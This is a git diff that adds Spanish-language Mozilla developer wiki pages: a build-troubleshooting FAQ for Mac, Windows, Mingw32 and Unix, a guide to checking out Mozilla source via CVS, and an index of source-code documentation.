+<h3 id="Preguntas_espec.C3.ADficas_sobre_Mac" name="Preguntas_espec.C3.ADficas_sobre_Mac">Preguntas específicas sobre Mac</h3>
+
+<p> </p>
+
+<dl>
+ <dt>Puede compilar una aplicación Mozilla como un binario universal?</dt>
+ <dd>Sí, mira <a href="/es/Mac_OS_X_Universal_Binaries" title="es/Mac_OS_X_Universal_Binaries">Mac OS X Universal Binaries</a>.
+ <p> </p>
+ </dd>
+ <dt>Cómo puedo usar distcc para ayudar a compilar?</dt>
+ <dd>TBA.
+ <p> </p>
+ </dd>
+ <dt>Mozilla compila UFS?</dt>
+ <dd>Sí, ha sido arreglado desde {{ Bug(157036) }}.
+ <p> </p>
+ </dd>
+ <dt>Mozilla corre sobre UFS?</dt>
+ <dd>Sí.
+ <p> </p>
+ </dd>
+ <dt>Puedo usar CodeWarrior para compilar Mach-O?</dt>
+ <dd>No, CodeWarrior murió. Mira {{ Bug(119589) }}.
+ <p> </p>
+ </dd>
+ <dt>Luego de re-compilar, ej. layout. Cómo hago que mi FirefoxDebug.app refleje el cambio?</dt>
+ <dd>make -C browser/app.</dd>
+</dl>
+
+<p>Para errores comunes en Mac y consejos adicionales sobre solución de problemas. Mira <a href="/es/Requerimientos_para_la_compilaci%C3%B3n_en_Mac_OS_X#Soluci.C3.B3n_de_problemas" title="es/Requerimientos_para_la_compilación_en_Mac_OS_X#Soluci.C3.B3n_de_problemas">solución de problemas</a> en <a href="/es/Requerimientos_para_la_compilaci%C3%B3n_en_Mac_OS_X" title="es/Requerimientos_para_la_compilación_en_Mac_OS_X">Requerimientos para la compilación en Mac OS X</a>.</p>
+
+<h3 id="Preguntas_sobre_Win32" name="Preguntas_sobre_Win32">Preguntas sobre Win32</h3>
+
+<p> </p>
+
+<dl>
+ <dt>Existe un archivo de proyecto Microsoft Visual Studio para compilar Mozilla?</dt>
+ <dd>No. Debes usar cygwin y GNU make.
+ <p> </p>
+ </dd>
+ <dt>Puedo correr los comandos para compilar desde cmd.exe?</dt>
+ <dd>Sí. Make llama la subshell cygwin /bin/sh para ejecutar el comando, así que no hay problema sobre cual shell uses para llamar a make.
+ <p> </p>
+ </dd>
+ <dt>Qué versión del paquete de autoconf de cygwin debo usar?</dt>
+ <dd>Debido a las incompatibilidades entre autonconf 2.1x y 2.5x, la gente de cygwin escribió un script (wrapper) que determinará qué versión necesitará tu script de configuración y llamará a esa versión. Necesitarás los paquetes autoconf(-wrapper) y autoconf estable. Mira <a class="external" href="http://cygwin.com/ml/cygwin-announce/2001/msg00177.html" rel="freelink">http://cygwin.com/ml/cygwin-announce.../msg00177.html</a> para más detalles
+ <p> </p>
+ </dd>
+ <dt>Las herramientas de Microsoft (CL, LINK, RC) tiran error <em>File not found</em></dt>
+ <dd>Las variables de entorno INCLUDE y LIB son usadas por las herramientas de Microsoft Visual C++. Comúnmente están configuradas en vcvars32.bat. Tal vez necesites o no MFC y ATL, dependiendo de qué modulos estés compilando. Debajo hay paths que funcionan si Visual C++ está instalado en "C:\msvs"
+ <pre class="eval">set INCLUDE=C:\msvs\VC\Include;C:\msvs\VC\ATLMFC\Include
+set LIB=C:\msvs\VC\Lib;C:\msvs\VC98\ATLMFC\Lib
+</pre>
+
+ <p> </p>
+ </dd>
+ <dt>cvs update: authorization failed: server XXXX rejected access -- used empty password; try "cvs login" with a real password</dt>
+ <dd>Estás mezclando wincvs y cygwin cvs. Usa uno o el otro.
+ <p> </p>
+ </dd>
+ <dt>cvs {{ mediawiki.external('checkout aborted') }}: cannot rename file CVS/Entries.Backup to CVS/Entries: Permission denied</dt>
+ <dd>En cygwin 1.3.13, ntsec está activada. ntsec es un intento de cygwin por obtener una estructura de permiso mas similar a UNIX sobre características de seguridad que Windows NT. El mensaje de error indica que hay una discrepancia de mapeo entre los permisos de unix listados en el archivo de cygwin /etc/password y los usados por Windows NT. Puedes agregar "nontsec" a tu variable de entorno CYGWIN. Para arreglarlo de forma adecuada deberías solucionar el problema de mapeo.
+ <p> </p>
+ </dd>
+ <dt>Al descomprimir, no se encuentra un archivo .dtd</dt>
+ <dd>Probablemente usaste Winzip para descomprimir los archivos. No hagas eso. Por defecto, Winzip no extrae los archivos sin longitud (0 bytes). Usa otro utilitario.
+ <p> </p>
+ </dd>
+ <dt>nsinstall u otro programa nativo win32 no encuentra un archivo</dt>
+ <dd>Revisa tu tabla de subida. Ejecuta el comando de montura, deberia devovler algo como esto:
+ <pre class="eval">c: on /cygdrive/c type user (binmode,noumount)
+e: on /cygdrive/e type user (binmode,noumount)
+c:\cygwin on / type system (binmode)
+c:\cygwin\bin on /usr/bin type system (binmode)
+c:\cygwin\lib on /usr/lib type system (binmode)
+</pre>
+
+ <p>El sistema de compilado espera que las particiones del disco hayan sido montadas usando /cygdrive como prefijo de la unidad. Si C: o E: no usan /cygwin como prefijo de unidad no podrás compilar Mozilla en esas unidades. Debes montar la unidad manualmente usando:</p>
+
+ <pre class="eval">mount -s "e:\" /cygdrive/e
+</pre>
+
+ <p>Si tu árbol fuente está debajo de tu $HOME, el modo de montura debería ser binmode (finales de líneas estilo Unix), de otro modo fallará al compilar. Si el árbol está fuera de tu $HOME, no importa el modo de montura siempre y cuando tu editor reconozca finales de linea estilo Unix.</p>
+ </dd>
+ <dt>No such file or directory errors from lines in your mozconfig</dt>
+ <dd>This can be caused by your mozconfig file having Windows-style line endings. Convert them to UNIX-style and the error should go away.</dd>
+ <dt>xpidl.exe cae con una violación de acceso</dt>
+ <dd>Usualmente ocurre por una discordancia entre tu compilador y tus librerías glib y/o libIDL.
+ <p>Si compilas con Visual Studio .NET, debes enlazar con las version de VC7 de las DLL glib y libIDL. Para Visual Studio .NET 2003, usa las versiones VC7.1. Para Visual Studio 2005, usa VC8.</p>
+
+ <p>El directorio que contenga esas versiones de librerías para tu compilador debe estar en tu PATH antes que cualquier otra versión de las mismas librerías. Los archivos .dll y lib deben ser ejecutable o cygwin no los cargará.</p>
+
+ <p>Mira los <a href="/es/Requerimientos_para_la_compilaci%C3%B3n_en_Windows/Compiladores_Microsoft_gratuitos" title="es/Requerimientos_para_la_compilación_en_Windows/Compiladores_Microsoft_gratuitos">Requerimientos para la compilación en Windows</a> sobre más consejos para compilar con VC7 o superior.</p>
+
+ <p>También en {{ Bug(242870) }} se encuentran disponibles algunas librerías estáticas que pueden ser usadas en lugar de las librerías específicas del compilador.</p>
+
+ <p>Si compilas con VC6, debes asegurarte que no estás usando las librerías de VC7 a la hora de compilar o ejecutar.</p>
+ </dd>
+ <dt>configure: error: the midl major version, , does not match the compiler suite version, &lt;Visual C++ nro de versión&gt; -- lo mismo para el linker</dt>
+ <dd>TLa herramienta cygwin "link.exe" para enlazar no reconoce el objeto enlazador de la suite del compilador Microsoft, o no se encuentra midl. Asegúrate que las herramientas de Microsoft se encuentran antes que cygwin en el PATH (Mira <a href="/es/Requerimientos_para_la_compilaci%C3%B3n_en_Windows#Configurar_el_entorno" title="es/Requerimientos_para_la_compilación_en_Windows#Configurar_el_entorno">las intrucciones</a>), o renombra o quita el archivo /bin/link.exe. Nota que cygwin tal vez modifique el path cuando arranque su shell, asi que también mira <code>export</code>.</dd>
+ <dt>configure: error: installation or configuration problem: C compiler cannot create executables.</dt>
+ <dd>Prueba asegurándote que la variable PATH incluya todos los directorios necesarios. Si usas MS Visual Studio, ejecuta vcvars32.bat (que configura las variables PATH, LIB, y INCLUDE). Si tu entorno ha cambiado, tal vez debas eliminar el archivo config.cache (en el directorio mozilla o directorio objeto) y luego volver a compilar.</dd>
+ <dt>build error: ../coreconf/rules.mk:365: target `c' doesn't match the target pattern</dt>
+ <dd>Has usado make 3.81 del instalador cygwin. Debes usar make 3.80. Por favor lee <a href="/es/Requerimientos_para_la_compilaci%C3%B3n_en_Windows#make" title="es/Requerimientos_para_la_compilación_en_Windows#make">las instrucciones</a>.</dd>
+ <dt>fatal error LNK1112: module machine type 'IA64' conflicts with target machine type 'X86'</dt>
+ <dd>Prueba cambiando el orden de los directorios en las variables PATH, LIB e INCLUDE. Cambia cualquier directorio que incluya cerca del final: "win64" o "IA64" (o "AMD64").</dd>
+ <dt>LINK : fatal error LNK1104: cannot open file 'atlthunk.lib'</dt>
+ <dd>De acuerdo con <a class="external" href="http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=64509">this Microsoft forum thread</a>, hay una versión diferente de Active Template Library (ATL) para  Platform Software Development Kit -libre- (PSDK),  que para Visual Studio. La ATL en el PSDK no soporta código 32-bits, sólo 64-bits; mientras que Visual Studio soporta ambas y no requiere atlthunk.lib. Aparentemente el archivo atlthunk.lib no está disponible y no se pudo compilar desde <a href="/es/Windows_Build_Prerequisites/Free_Microsoft_Compilers" title="es/Windows_Build_Prerequisites/Free_Microsoft_Compilers">freely available tools</a>, incluyendo las herramientas Visual C++ y Visual Studio Express. De todos modos puedes actualizar a la versión full de Visual Studio y utilizar la versión de ATL del mismo, o puedes trabajar en el problema cambiando algunos códigos en atlbase.h (en \include\atl debajo del directorio PSDK). Ejemplo:
+ <pre class="eval">--- atlbase.h.old       2006-06-08 08:20:26.671875000 -0400
++++ atlbase.h   2006-06-08 08:13:26.578125000 -0400
+@@ -283,7 +283,7 @@
+         }
+ };
+ #pragma pack(pop)
+-
++/*
+ PVOID __stdcall __AllocStdCallThunk(VOID);
+ VOID  __stdcall __FreeStdCallThunk(PVOID);
+
+@@ -291,6 +291,11 @@
+ #define FreeStdCallThunk(p) __FreeStdCallThunk(p)
+
+ #pragma comment(lib, "atlthunk.lib")
++*/
++
++// workaround for not having atlthunk.lib in PSDK or VC++ 2005 Express Edition
++#define AllocStdCallThunk() HeapAlloc(GetProcessHeap(),0,sizeof(_stdcallthunk))
++#define FreeStdCallThunk(p) HeapFree(GetProcessHeap(), 0, p)
+
+ #elif defined (_M_AMD64)
+ #pragma pack(push,2)
+</pre>
+
+ <p>También hubo que borrar el directorio objeto y volver a compilar desde el principio, de modo que el compilador tome el cambio.</p>
+ </dd>
+ <dt>Compilar o generar un ejecutable con cygwin y VS6.0 termina en FIND: Parameter format not correct</dt>
+ <dd>Hay una confusión entre System32 "find" y /usr/bin/find de cygwin. Lo que queremos es el find de cygwin. Es causado por el orden del path. Algunas posibles soluciones serían:
+ <ul>
+  <li>Renombrar temporalmente system32/find.exe</li>
+  <li>Asegurarse que en la entrada del path esté primero cygwin que system32</li>
+ </ul>
+ </dd>
+ <dt>Empaqueté Firefox a través del instalador:<code> make -C ${OBJ_DIR}/browser/installer installer</code> sin problemas. Al ejecutar pide el archivo perdido mozz.dll; la instalación falla.</dt>
+ <dd>Tanto Firefox como Thunderbird,deberían compilarse con las etiquetas --enable-static --disable-shared</dd>
+ <dt>shlibsign.exe - Entry Point Not Found; El procedimiento CERT_GetFirstEmailAddress no ha sido localizado en la librería nss3.dll.</dt>
+ <dd>Tal vez tengas muchos nss3.dll en tu máquina y en tu path. Haz una búsqueda para todas las copias de este archivo. Mueve todas las copias que se encuentren dentro del árbol de Firefox durante la compilación y vuelve a colocarlos cuando se termine la compilación.</dd>
+</dl>
+
+<h3 id="Preguntas_sobre_Mingw32" name="Preguntas_sobre_Mingw32">Preguntas sobre Mingw32</h3>
+
+<ul>
+ <li>Si la compilación o la configuración fallan debido a que se perdió w32api, agrega el directorio /include de mingw32 al final de la variable de entorno INCLUDE. Las librerías o binarios mingw32 no deberían ser necesarios, sólo los headers.</li>
+</ul>
+
+<h3 id="Preguntas_sobre_Unix" name="Preguntas_sobre_Unix">Preguntas sobre Unix</h3>
+
+<dl>
+ <dt>Galeon necesita libgtksuperwin.so pero no tengo ese archivo en mi Mozilla gtk2, dónde está?</dt>
+ <dd>Sólo Mozilla gtk1 compila libgtksuperwin.so. Si deseas usar galeon con compilación gtk2, debes usar galeon2.
+ <p> </p>
+ </dd>
+ <dt>Por qué la configuración dice que necesito libIDL &gt;= 0.6.3 cuando tengo instalado libIDL 0.8.x?</dt>
+ <dd>libIdl 0.8.x sólo puede ser usado compilando con gtk2. Por defecto, Mozilla compila con gtk1. Para usar libIDl 0.8.x y gtk2 debes especificar --enable-default-toolkit=gtk2 en la línea de comando de laconfiguración o  .mozconfig. NOTA: Esto es viejo y ha sido arreglado en Mozilla 1.8</dd>
+ <dt>Cómo compilo en Solaris 10 x86 (SeaMonkey)?</dt>
+ <dd>Tuve que hacer lo siguiente para conseguir un entorno que funcione:</dd>
+ <dd>1. instalar forte (Gratis desde Sun)</dd>
+ <dd>2. Instalar gmake (desde blastwave)</dd>
+ <dd>3. mv /usr/ucb/cc /usr/ucb/cc.hold</dd>
+ <dd>4. CFLAGS="-xlibmil"; exporta CFLAGS</dd>
+ <dd>5. CXXFLAGS="-xlibmil -xlibmopt -features=tmplife -norunpath"; exporta CXXFLAGS</dd>
+ <dd>6. LDFLAGS='-R$ORIGIN -R/usr/sfw/lib -R/opt/sfw/lib -R/usr/local/lib -R/opt/csw/lib'; exporta LDFLAGS</dd>
+ <dd>7. PATH=$PATH:/opt/SUNWspro/bin:/opt/csw/bin:/opt/csw/sbin:/usr/ucb/bin:/usr/ccs/bin; exporta PATH</dd>
+ <dd>8. LD_LIBRARY_PATH=/opt/SUNWspro/lib:$LD_LIBRARY_PATH; exporta LD_LIBRARY_PATH</dd>
+ <dd>9. Crear un archivo mozconfig y compilar normalmente.</dd>
+ <dd>10. La generación del paquete (tar y gzip) falló, así que simplemente lo cree manualmente con los archivos resultantes en el directorio dist.</dd>
+ <dt>libxpcom_core.so: cannot restore segment prot after reloc: Permission denied&lt;/dt&gt;</dt>
+ <dd>Probablemente estés usando Fedora Core 5, o alguna otra distribución de Linux que tiene activado SELinux. Para arreglarlo, utiliza el comando 'chcon -t chcon -t texrel_shlib_t lib*' en el directorio dist/bin.&lt;/dd&gt;</dd>
+</dl>
diff --git a/files/es/mozilla/developer_guide/source_code/código_fuente_de_mozilla_(cvs)/index.html b/files/es/mozilla/developer_guide/source_code/código_fuente_de_mozilla_(cvs)/index.html
new file mode 100644
index 0000000000..248231aee9
--- /dev/null
+++ b/files/es/mozilla/developer_guide/source_code/código_fuente_de_mozilla_(cvs)/index.html
@@ -0,0 +1,149 @@
+---
+title: Código fuente de Mozilla (CVS)
+slug: Mozilla/Developer_guide/Source_Code/Código_fuente_de_Mozilla_(CVS)
+tags:
+  - Documentación_de_compilado
+translation_of: Mozilla/Developer_guide/Source_Code/CVS
+---
+<p> </p>
+<p>Aquellos que desarrollan de forma muy activa pueden comprobar el último código fuente utilizando CVS. Si vas a realizar parches y arreglos este es el método más adecuado, porque te permite ver los últimos cambios y unirlos con los tuyos.</p>
+<p>Si quieres compilar el producto para su publicación, es mejor <a href="es/Descargar_el_c%c3%b3digo_fuente_de_Mozilla">Descargar el código fuente de Mozilla</a> en un archivo tar.</p>
+<h3 id="Gu.C3.ADa_r.C3.A1pida" name="Gu.C3.ADa_r.C3.A1pida">Guía rápida</h3>
+<p><span class="comment">I seem to not be editing this page in what others on this development site deem appropriate. So, if you are going to just remove this section, can you please be so kind as to suggest an alternate title of a new page that I can put this information on? Thanks, Jeff Carr</span></p>
+<p>Los pasos básicos para descargar la rama (inestable) del código fuente de Firefox son:</p>
+<pre class="eval">cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co mozilla/client.mk
+cd mozilla
+make -f client.mk checkout MOZ_CO_PROJECT=browser
+</pre>
+<h3 id="Comenzando" name="Comenzando">Comenzando</h3>
+<p>CVS significa "Concurrent Versioning System". Para conocer más sobre CVS en general visita <a class="external" href="http://ximbiot.com/cvs/manual/">ximbiot.com</a>, o lee el <a class="external" href="http://ximbiot.com/cvs/cvshome/docs/blandy.html">tutorial</a>.</p>
+<p>Cualquiera puede descargar ("check out") el código fuente vía CVS, pero solo ciertas personas pueden subir cambios ("check in" o "commit"). Esas personas son los <a class="external" href="http://www.mozilla.org/owners.html">dueños de módulos</a> y sus delegados. Lee nuestro documento sobre <a class="external" href="http://www.mozilla.org/hacking/">mejorar mozilla</a> para saber como puedes tener la habilidad de enviar cambios. Quizá quieras leer tambien acerca de <a class="external" href="http://www.mozilla.org/cvs-ssh-faq.html">como usar SSH para conectar al CVS</a>.</p>
+<h4 id="Requisitos" name="Requisitos">Requisitos</h4>
+<p>Para descargar el código fuente, necesitas <a class="external" href="http://www.nongnu.org/cvs/">CVS</a> versión 1.11 o posterior. La versión 1.12.13 no funciona con el servidor CVS, y el resultado es que el programa se cuelga, sin embargo la versión 1.12.9 parece funcioanr. Además, debes usar <a class="external" href="http://www.gnu.org/software/make/">GNU make</a> para descargar y compilar Mozilla. No se acepta ningún otro programa "make". En windows, mac y sistemas GNU habituales (como GNU/Linux), usa "make" para ejecutar GNU make; en la mayoría de los sistemas UNIX no GNU (como por ejemplo Solaris), usa "gmake".</p>
+<h3 id="Configuraci.C3.B3n_de_cliente_CVS" name="Configuraci.C3.B3n_de_cliente_CVS">Configuración de cliente CVS</h3>
+<p>El "cvsroot" (cadena de identificación del repositorio) que se utiliza para acceder a CVS Mozilla de forma anónima es:</p>
+<pre class="eval"><a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot
+</pre>
+<p>Si usas una interface CVS gráfica, utiliza los siguientes datos del servidor:</p>
+<ul>
+ <li><b>host</b> (servidor): "cvs-mirror.mozilla.org"</li>
+ <li><b>repository path</b> (ruta del repositorio): "/cvsroot"</li>
+ <li><b>user</b> (usuario): "anonymous"</li>
+ <li><b>connection type</b> (tipo de conexión): pserver</li>
+ <li><b>port</b> (puerto): default (2401)</li>
+</ul>
+<h3 id="Elegir_un_proyecto_para_descargar" name="Elegir_un_proyecto_para_descargar">Elegir un proyecto para descargar</h3>
+<p>Ya que se usa el mismo código para compilar distintas aplicaciones debes elegir qué aplicación quieres descargar en la línea de comandos usando la variable <code>MOZ_CO_PROJECT</code>. esta información debe proporcionarse cuando se necesite para la descarga del código fuente actual (lee la <a href="#Checkout">sección</a> apropiada sobre la <a href="#Checkout_2">descarga</a> más abajo, dependiendo de la rama que quieras descargar). Las posibles opciones incluyen:</p>
+<dl>
+ <dt>
+  browser </dt>
+ <dd>
+  El navegador "Firefox".</dd>
+ <dt>
+  mail </dt>
+ <dd>
+  El cliente de correo/noticias "Thunderbird".</dd>
+ <dt>
+  suite </dt>
+ <dd>
+  La suite traditional "Mozilla" SeaMonkey con navegador, correo/noticias, editor web, y otras aplicaciones.</dd>
+ <dt>
+  minimo </dt>
+ <dd>
+  El navegador para pequeños dispositivos.</dd>
+ <dt>
+  composer </dt>
+ <dd>
+  El editor HTML.</dd>
+ <dt>
+  calendar </dt>
+ <dd>
+  La aplicación de calendario "Sunbird".</dd>
+ <dt>
+  xulrunner </dt>
+ <dd>
+  El interprete de nueva generación para aplicaciones XUL.</dd>
+ <dt>
+  camino </dt>
+ <dd>
+  El navegador nativos para Macintosh, "Camino".</dd>
+ <dt>
+  tamarin </dt>
+ <dd>
+  La máquina virtual Adobe Ecmascript.</dd>
+ <dt>
+  all </dt>
+ <dd>
+  Descarga todos los códigos fuente de todos los proyectos de arriba, además de código útil adicional</dd>
+</dl>
+<p>Se pueden especificar varios proyectos con comas: <code>MOZ_CO_PROJECT=suite,browser,xulrunner</code>.</p>
+<p><b>Ten en cuenta</b> que si estas usando un archivo &lt;tt&gt;<a href="es/Configurar_las_opciones_de_compilaci%c3%b3n#Usando_un_archivo_de_configuraci.C3.B3n_.mozconfig">.mozconfig</a>&lt;/tt&gt; personalizado, debes especificar también el <code>MOZ_CO_PROJECT</code> allí, en vez de hacerlo en la línea de comandos.</p>
+<h3 id="Descargar_el_c.C3.B3digo_de_una_rama_nueva" name="Descargar_el_c.C3.B3digo_de_una_rama_nueva">Descargar el código de una rama nueva</h3>
+<h4 id="Comprueba_el_Tinderbox" name="Comprueba_el_Tinderbox">Comprueba el Tinderbox</h4>
+<p>Antes de descargar una rama, debes comprobar siempre el <a href="es/Tinderbox">Tinderbox</a> apropiado para asegurarte que el código base no esta roto. Si hay tinderboxes en rojo, normalmente es recomendable esperar hasta que estén en verde antes de descargar una rama.</p>
+<h4 id="Rama_HEAD" name="Rama_HEAD">Rama HEAD</h4>
+<p>Para descargar una rama nuevo desde cero, toma el archivo <code>client.mk</code> que es el que contiene las instruciones que se usarán para descargar el resto de la rama:</p>
+<pre class="eval">$ cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co mozilla/client.mk
+</pre>
+<p>Nota: Si ya tienes un archivo <a href="es/Configurar_las_opciones_de_compilaci%c3%b3n#Usando_un_archivo_de_configuraci.C3.B3n_.mozconfig">.mozconfig</a>, quizá necesites descargar los siguientes archivos:</p>
+<dl>
+ <dt>
+  Firefox </dt>
+ <dd>
+  <pre>cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/browser/config/mozconfig</pre>
+ </dd>
+ <dt>
+  Thunderbird </dt>
+ <dd>
+  <pre>cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/mail/config/mozconfig</pre>
+ </dd>
+</dl>
+<h4 id="Rama_espec.C3.ADfica" name="Rama_espec.C3.ADfica">Rama específica</h4>
+<p>Si quieres descargar el código de alguna <a class="external" href="http://ximbiot.com/cvs/wiki/index.php?title=CVS--Concurrent_Versions_System_v1.12.12.1:_Branching_and_merging">rama CVS</a> específica, usa:</p>
+<pre class="eval">$ cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co -r RAMA mozilla/client.mk
+</pre>
+<p>Por ejemplo, para descargar la rama en desarrollo de Firefox 2.0, reemplaza RAMA por MOZILLA_1_8_BRANCH. Para ver las ramas disponibles en Mozilla, mira las <a href="es/Etiquetas_CVS">Etiquetas CVS</a>.</p>
+<p>Para información sobre como descargar los archivos <code>.mozconfig</code> de un proyecto específico, lee la <a href="#_Rama_HEAD">sección anterior</a> (Por supuesto aplicable a otras ramas diferentes de HEAD también).</p>
+<h4 id="Descargar" name="Descargar">Descargar</h4>
+<p>Después de elegir la rama correspondiente, ejecuta:</p>
+<pre class="eval">$ cd mozilla
+$ make -f client.mk checkout MOZ_CO_PROJECT=<i>opción,opción</i>
+</pre>
+<p>Cómo se mencionó arriba, si ya tienes especificado la rama en un archivo .mozconfig personalizado, no necesitas hacerlo en la línea de comando.</p>
+<div class="note">
+ Utiliza siempre <code>client.mk</code> para descargar las fuentes Mozilla: no descargues directamente el módulo <code>mozilla/</code>, se descargían varios subprojectos como NSS, NSPR y LDAP C SDK, pero el desarrollo habitual de mozilla se da en el tronco (trunk).</div>
+<h4 id="Fecha_espec.C3.ADfica" name="Fecha_espec.C3.ADfica">Fecha específica</h4>
+<p>Si quieres descargar el código de alguna fecha en particular utiliza la variable MOZ_CO_DATE. Por ejemplo &lt;tt&gt;MOZ_CO_DATE="20 Oct 2006 17:00 PDT"&lt;/tt&gt;</p>
+<p>También se puede agregar en el .mozconfig, o escribir en la línea de comandos:</p>
+<pre class="eval">$ cd mozilla
+$ make -f client.mk checkout MOZ_CO_DATE="20 Oct 2006 17:00 PDT" MOZ_CO_PROJECT=<i>option,option</i>
+</pre>
+<h3 id="Cambiar_el_.C3.A1rbol_de_c.C3.B3digo_a_una_rama_diferente" name="Cambiar_el_.C3.A1rbol_de_c.C3.B3digo_a_una_rama_diferente">Cambiar el árbol de código a una rama diferente</h3>
+<h4 id="Branch_HEAD" name="Branch_HEAD">Branch HEAD</h4>
+<p>Para actualizar el árbol de código (ya sea la rama HEAD o cualquier otra) a la última versión, primero ejecuta:</p>
+<pre class="eval">$ cd mozilla
+$ cvs up -A client.mk
+</pre>
+<p>La opción -a elimina cualquier información "pegada a la rama", actualizaría la rama HEAD.</p>
+<h4 id="Rama_espec.C3.ADfica_2" name="Rama_espec.C3.ADfica_2">Rama específica</h4>
+<p>Para actualizar el árbol de código de una rama especifica descargado con anterioridad usa:</p>
+<pre class="eval">$ cd mozilla
+$ cvs up -r RAMA client.mk
+</pre>
+<p>Reemplaza RAMA con la etiqueta de la rama que desees actualizar.</p>
+<h3 id="Actualizar_el_.C3.A1rbol_de_c.C3.B3digo" name="Actualizar_el_.C3.A1rbol_de_c.C3.B3digo">Actualizar el árbol de código</h3>
+<p>Para actualizar el árbol de código simplemente haz lo siguiente:</p>
+<pre class="eval">$ make -f client.mk checkout MOZ_CO_PROJECT=<i>opción,opción</i>
+</pre>
+<p>Igual que siempre, si tienes un .mozconfig personalizado con MOZ_CO_PROJECT definido, no necesitas repetirlo en la línea de comando.</p>
+<h3 id="Creando_un_archivo_Diff" name="Creando_un_archivo_Diff">Creando un archivo Diff</h3>
+<p>Para crear un diff de un archivo local para aplicar en el archivo actual en reposición, usa:</p>
+<pre class="eval">$ cvs diff -u8p NOMBREDEARCHIVO
+</pre>
+<p>Mira <a href="es/Crear_un_parche">Crear un parche</a> para más información.</p>
+<h3 id="Convertir_el_.C3.A1rbol_de_c.C3.B3digo_descargado" name="Convertir_el_.C3.A1rbol_de_c.C3.B3digo_descargado">Convertir el árbol de código descargado</h3>
+<p>Los árboles descargados desde mozilla.org (<a href="es/Descargar_el_c%c3%b3digo_fuente_de_Mozilla">tarballs con el código fuente</a>) ya poseen información CVS, cómo una descarga normal. Puedes actualizarlo como cualquier otro árbol al la última versión, sin ninguna acción en especial. Para ver cómo actualizar un árbol, mira la sección anterior</p>
+<p><span class="comment">interwiki link</span></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Mozilla_Source_Code_(CVS)", "fr": "fr/Obtenir_le_code_source_de_Mozilla_via_CVS", "ja": "ja/Mozilla_Source_Code_(CVS)", "zh-cn": "cn/\u901a\u8fc7CVS\u83b7\u53d6\u6e90\u7801" } ) }}</p>
diff --git a/files/es/mozilla/developer_guide/source_code/index.html b/files/es/mozilla/developer_guide/source_code/index.html
new file mode 100644
index 0000000000..47a6d9eb88
--- /dev/null
+++ b/files/es/mozilla/developer_guide/source_code/index.html
@@ -0,0 +1,56 @@
+---
+title: Working with Mozilla source code
+slug: Mozilla/Developer_guide/Source_Code
+tags:
+  - Desarrollo de Mozilla
+  - Necesita traducción
+  - TopicStub
+translation_of: Mozilla/Developer_guide/Source_Code
+---
+<p>Los artículos a continuación le ayudarán a tener acceso al código fuente de Mozilla, aprender a navegar por el código y cómo hacer que los cambios que proponga se verifiquen en el árbol.</p>
+
+<table class="mainpage-table">
+ <tbody>
+  <tr>
+   <td colspan="2">
+    <h2 id="Temas_de_la_documentación">Temas de la documentación</h2>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Source_Code/Mercurial" style="font-weight: 700;">Obtener una máquina virtual del sistema de compilación Mozilla preconfigurado</a></p>
+
+    <dl>
+     <dt></dt>
+     <dd>Si planea contribuir con el proyecto de Mozilla, la mejor forma de obtener el código es verificarlo desde el repositorio de control de versiones. Aprenda cómo hacerlo aquí.</dd>
+     <dt><a class="internal" href="/En/Developer_Guide/Source_Code/Downloading_Source_Archives" title="En/Mozilla Source Code (HTTP//FTP)">Descargar el código usando HTTP o FTP</a></dt>
+     <dd>Si desea buscar el código para una versión específica de un producto Mozilla en particular, puede preferir descargar un archivo de código fuente.</dd>
+     <dt><a class="internal" href="/en/Viewing_and_searching_Mozilla_source_code_online" title="En/Viewing and searching Mozilla source code online">Ver y buscar el código fuente de Mozilla en línea</a></dt>
+     <dd>Aprenda a usar MXR, la herramienta de búsqueda y navegación en línea de Mozilla para acceder al código fuente. Esta no es una buena manera de descargar el código, pero es una excelente forma de buscarlo.</dd>
+     <dt><a class="internal" href="/en/Mozilla_Source_Code_Directory_Structure" title="en/Mozilla Source Code Directory Structure">Navegar por el código fuente de Mozilla</a></dt>
+     <dd>Obtenga información sobre las distintas carpetas en el árbol de fuentes de Mozilla y sobre cómo encontrar lo que está buscando.</dd>
+     <dt><a class="external" href="/en/Introduction#Find_a_bug_we%27ve_identified_as_being_good_for_newcomers" title="/en/Introduction#Find_a_bug_we%27ve_identified_as_being_good_for_newcomers">Errores para los recién llegados</a></dt>
+     <dd>Si eres nuevo en el proyecto y quieres algo en lo que trabajar, mira aquí.</dd>
+    </dl>
+   </td>
+   <td>
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Coding_Style">Guía de estilo de codificación de Mozilla</a></dt>
+     <dd>La guía de estilo de código brinda información sobre cómo debe dar formato a su código fuente para asegurarse de que los revisores no se burlen.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Interface_development_guide">Guía de desarrollo de la interfaz</a></dt>
+     <dd>Pautas y documentación sobre cómo crear y actualizar las interfaces XPCOM.</dd>
+     <dt><a class="link-https" href="https://wiki.mozilla.org/Build:TryServer" title="https://wiki.mozilla.org/Build:TryServer">Probar los servidores</a></dt>
+     <dd>Los productos de Mozilla se basan en al menos tres plataformas. Si no tiene acceso a todas ellas, puede usar los servidores de prueba para probar sus parches y asegurarse de que las pruebas pasen.</dd>
+     <dt><a class="internal" href="/en/Creating_a_patch" title="En/Creating a patch">Crear un parche</a></dt>
+     <dd>Una vez que haya realizado un cambio en el código de Mozilla, el siguiente paso (después de asegurarse de que funciona) es crear un parche y enviarlo para su revisión. Este artículo debe ser actualizado completamente para Mercurial.</dd>
